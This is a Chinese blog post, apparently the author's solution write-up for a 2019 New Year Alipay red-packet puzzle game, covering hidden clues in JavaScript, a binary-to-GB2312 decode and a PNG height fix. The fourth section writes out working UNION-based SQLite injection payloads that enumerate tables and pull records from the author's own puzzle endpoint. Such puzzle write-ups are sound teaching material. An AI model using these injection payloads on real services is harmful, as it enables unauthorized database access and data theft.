新年啦,又有了新的解谜红包啦~
现在就开始吧!→ https://hb.lohu.info
活动结束,感谢大家的参与!题解已公布。
下面是注意事项:
- 这是一个红包解谜游戏,完成所有内容,你最终可以获得一个支付宝红包口令,凭此口令可进入支付宝领取红包。
- 本次红包口令被拆成了四组:第一组为 1 个汉字,第二组为 1 个数字,第三组为 3 个数字,第四组为 4 个数字。最后的红包口令为这四组依次组合而成。
- 各组口令的线索之间没有联系,即每组口令的线索都是独立的。
- 本次活动时间从 2019 年 2 月 4 日 20 时开始,持续 24 个小时,如果红包被提前领完,则游戏提前结束。
- 本次活动共设 10 个红包,总额 100 人民币元,红包领取规则为“拼手气红包”。
活动结束后将在下面更新题解。加油!新年快乐!
0x01 1 位数字
首先最惹人点的就是这个“开”,诶,怎么颜色有变啊?真好玩!(说实话这个红包刚做出来的时候我点了几百下吧)
其实这是一组红包的点之一,我在这里也给了提示。同时 source 里也可以看到完整的源码。在颜色表里有个 // do not change
标出来的部分,本来是写的时候提醒我自己别把这个的 index 给改变了,后来想着还是留着,也当作提示了。
哈哈哈找“红”包,其实就是“红”包的在这个颜色组中的 index。为了避免被一眼看出,我加了个 webpack,但其实第一 prettify 后还是很好看的,第二我也没有把源码给 rm 掉。
这就是第二组的 1 位数字,3。
0x02 1 个汉字
如果直接看源码,可在 <noscript>
里面发现一个 img 标签。图片是这样的。
这是一个奥利奥图,在去年年底的时候圈子里火过一阵。由图片可得“奥奥利奥利奥奥利”和“奥奥奥奥利利利奥”。(大雾)
奥=1,利=0。(我看很多人都把奥=0,利=1 了,我当时是以“利”音近“零”取的。)由此可得 11010110 11110001 (0xD6, 0xF1)。
光是这么两组数字可能的确不容易猜测,于是发布后 5 个小时的时候,我又加了一句“制作过程符合国标,不会中毒”来暗示 GB 系列编码。在 GB2312/GB18030/GBK 编码下 0xD6F1 均为“竹”。
这就是第一组的 1 个汉字,竹。
0x03 3 位数字
这里在部署的时候没意识到腾讯云的 CDN 会吃 header。因此前 45 分钟没爆出这条线索。
打开来是这样的。
于是我们下载下来是这样的。
这显然是由于文件出了点问题。后来游戏过半的时候,我在新的图片中把那个颜文字给下移了几十像素,这样子颜文字被截断就作为新的提示。
使用工具检查,可以发现这个 PNG 的 IHDR 部分的 CRC 校验码不正确。因此可以判断出来,这里可能被改了高度或宽度。实际上改的是高度。使用脚本爆破可得真实高度为 279(0x117)。修改完后可以看见三个黑人问号。
我的意思是这里是三位数,也就是真实高度“279”。
于是第三组数字 3 个数字,279。
0x04 4 位数字
如果盯着 network,可以发现有个 /getPoem.php
的请求。
这里的意思显然是 SQL 注入了。随便打个引号,发现出了 warning(这里其实是部署意外,忘了修改错误等级,不过觉得当作一个提示也好,就留着了),果然有注入点,并且是 SQLite3。
利用 UNION
语句构造一个获取数据库所有表的参数。
1 AND 1=2 UNION SELECT 1,COUNT(1) FROM sqlite_master WHERE `type`='table' LIMIT 0,1 --得到该数据库共有 3 张表
1 AND 1=2 UNION SELECT 1,`name` FROM sqlite_master WHERE `type`='table' LIMIT 2,1 --通过不断改变 limit 参数,得到其中有张表的名字为 `xnkuai1e`
1 AND 1=2 UNION SELECT 1,`sql` FROM sqlite_master WHERE `type`='table' AND `name`='xnkuai1e' LIMIT 0,1 --拉取 `xnkuai1e` 的结构
然后我们拿到了 xnkuai1e
的表结构。
{
"status": 200,
"return": "CREATE TABLE `xnkuai1e` (\n\t`id`\tINTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,\n\t`key`\tTEXT NOT NULL UNIQUE,\n\t`value`\tTEXT,\n\t`remarks`\tTEXT\n)"
}
可见它有三个字段,如果你去遍历会发现 key 都是 UUID,value 是位数不等的数字,而 remarks
才记录着这个 value 是啥。
1 AND 1=2 UNION SELECT 1,COUNT(1) FROM `xnkuai1e` LIMIT 0,1 --得到 `xnkuai1e` 中有 10 条记录
1 AND 1=2 UNION SELECT 1,`remarks` FROM `xnkuai1e` LIMIT 6,1 --找到有条记录的 remarks 是 `g_rEdb@g!`
1 AND 1=2 UNION SELECT 1,`value` FROM `xnkuai1e` WHERE `remarks`='g_rEdb@g!' LIMIT 0,1 --根据刚才找到的 remarks 找到红包
以及其实不用一个个遍历,我当时想到 concat 什么的但是懒得查查用法。所以直接手写了一波最简单的 payload 就跑路了(误)。刚看到一位朋友用了 group_concat
,好!
为了避免有人没有实力又 SQLMap 一把梭,我加了个 60s 冷却,60s 内针对同一个 IP 返回相同的内容。又怕你们以为是没有注入点,又加了个 error 提示。
后来有热心网友报告自己莫名其妙爆出了答案:因为同一个运营商,也刚好是同一个出口 IP,就把另一个人缓存的结果给他了。本来想针对爆出答案的句子来个清除缓存,后来想想又麻烦有不合适,就把冷却时间改到了 15s。
所以第四组 4 个数字,3848 也拿到了。
0xff 最后答案
最后的口令就是“竹 32793848”。
“竹”取了“猪”的谐音。
新年快乐!
恭喜三位旁友!(其实有两个旁友是组队参加的,但是领了两次,想想反正发不完就不管了。)
本次活动中涉及的源码你可以在 https://github.com/moesoha/red-packet-2019 这里找到。有些代码非常丑,我知道(我也难受啊 qaq)。这是我飞快糊出来的,没有在意太多。